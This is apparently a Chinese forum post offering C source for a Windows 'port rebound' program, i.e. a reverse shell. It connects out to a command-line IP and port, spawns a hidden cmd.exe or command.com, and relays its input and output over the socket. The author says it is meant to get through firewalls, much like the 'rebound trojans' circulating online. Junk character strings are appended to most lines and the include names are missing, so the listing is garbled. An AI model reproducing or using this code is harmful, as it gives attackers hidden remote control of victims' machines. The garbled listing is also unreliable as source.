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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R>YMGUH~w  
^S;RX*  
/* ============================== ,nu7r1}  
Rebound port in Windows NT A aF5`  
By wind,2006/7 GqK&'c   
===============================*/ ;&t1FH#=  
#include *nUpO]  
#include -XDP-Trk  
Ivl^,{4  
#pragma comment(lib,"wsock32.lib") uYFcq  
6UzT]"LR;  
void OutputShell(); Z+h7 0,|  
SOCKET sClient; p *W ZY=Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uX5 --o=C  
f)s_e  
void main(int argc,char **argv) 65e Wu=T  
{ >I66R;  
WSADATA stWsaData; )(|0KarF  
int nRet; i&s=!`  
SOCKADDR_IN stSaiClient,stSaiServer; @)juP- o%  
lh(+X-}D  
if(argc != 3) pTV@nP  
{ Rp%\`'+Xz  
printf("Useage:\n\rRebound DestIP DestPort\n"); NE>JtTF<  
return; HV.|Eh_7  
} N mjBJ_G  
z1@sEfk>  
WSAStartup(MAKEWORD(2,2),&stWsaData); PuoJw~^h  
p7=^m>Z6  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '14l )1g.  
~C*6V{Tj  
stSaiClient.sin_family = AF_INET; Fi3(glgd-  
stSaiClient.sin_port = htons(0); 5SWX v+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {msB+n~WZ  
q$2taG}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~9/nx|%D  
{ ht cO ~b  
printf("Bind Socket Failed!\n"); }${ZI  
return; Jm1AJ4mw  
} $O</akn;  
Ckl]fy@D}  
stSaiServer.sin_family = AF_INET; %?G.lej,x  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y7G|P~td  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6;c{~$s~[  
yar IR|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2Lu{@*  
{ AJ1$$c  
printf("Connect Error!"); Ywb)h^{!  
return; z^GGJu%vjr  
} %fSk "%u%<  
OutputShell(); o!dkS/u-m  
} C5z  
,`2xfVa-  
void OutputShell() zs^\z Cb8  
{ V@xnz)^t  
char szBuff[1024]; u H;^>`DT  
SECURITY_ATTRIBUTES stSecurityAttributes; vlKKPS  
OSVERSIONINFO stOsversionInfo; S5 oHe4#89  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gR6T]v  
STARTUPINFO stStartupInfo; >0okb3+  
char *szShell; z+B  
PROCESS_INFORMATION stProcessInformation; dz.MH  
unsigned long lBytesRead; lukRFN>c"  
aj-uk(r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =]k_Oq-1h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jM@I"JZ b  
stSecurityAttributes.lpSecurityDescriptor = 0; p q5H{  
stSecurityAttributes.bInheritHandle = TRUE; ,O`*AzjS5Q  
/PuWJPy;  
F(n))`(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5DBd [u3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AhZ  
83(P_Y:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DL Q`<aU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,>%r|YSJ)  
stStartupInfo.wShowWindow = SW_HIDE; ] :#IZ0#  
stStartupInfo.hStdInput = hReadPipe; sbhEZ#7#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H~K2`Cr)4  
oRF"[G8BV  
GetVersionEx(&stOsversionInfo); R20GjWy=  
kqB 00 ;  
switch(stOsversionInfo.dwPlatformId) g2_df3Q  
{ TBp5xz`  
case 1: @Oay$gP{T  
szShell = "command.com"; R63d `W  
break; w~-d4MNM  
default: cO+`8`kv  
szShell = "cmd.exe"; d> AmM!J  
break; ^>28>!"1  
} ';V+~pi  
h--!pE+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e-meUf9  
)ciHY6  
send(sClient,szMsg,77,0); (R,n`x2^  
while(1) 'gH#\he[Dh  
{ o~>go_Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uV:;y}T^Z  
if(lBytesRead) ;VBfzFH  
{ l.)!jWY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5X-(@GwN  
send(sClient,szBuff,lBytesRead,0); Q;M\P/f  
} A*i_- ;W)  
else 2p ,6=8^v  
{ @/iLC6QF  
lBytesRead=recv(sClient,szBuff,1024,0); M 4?3l  
if(lBytesRead<=0) break; L  *@>/N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &6EfybAt^_  
} *?'T8yf^  
} s[bKGn@  
ugP R)tDfM  
return; _m-r}9au   
}
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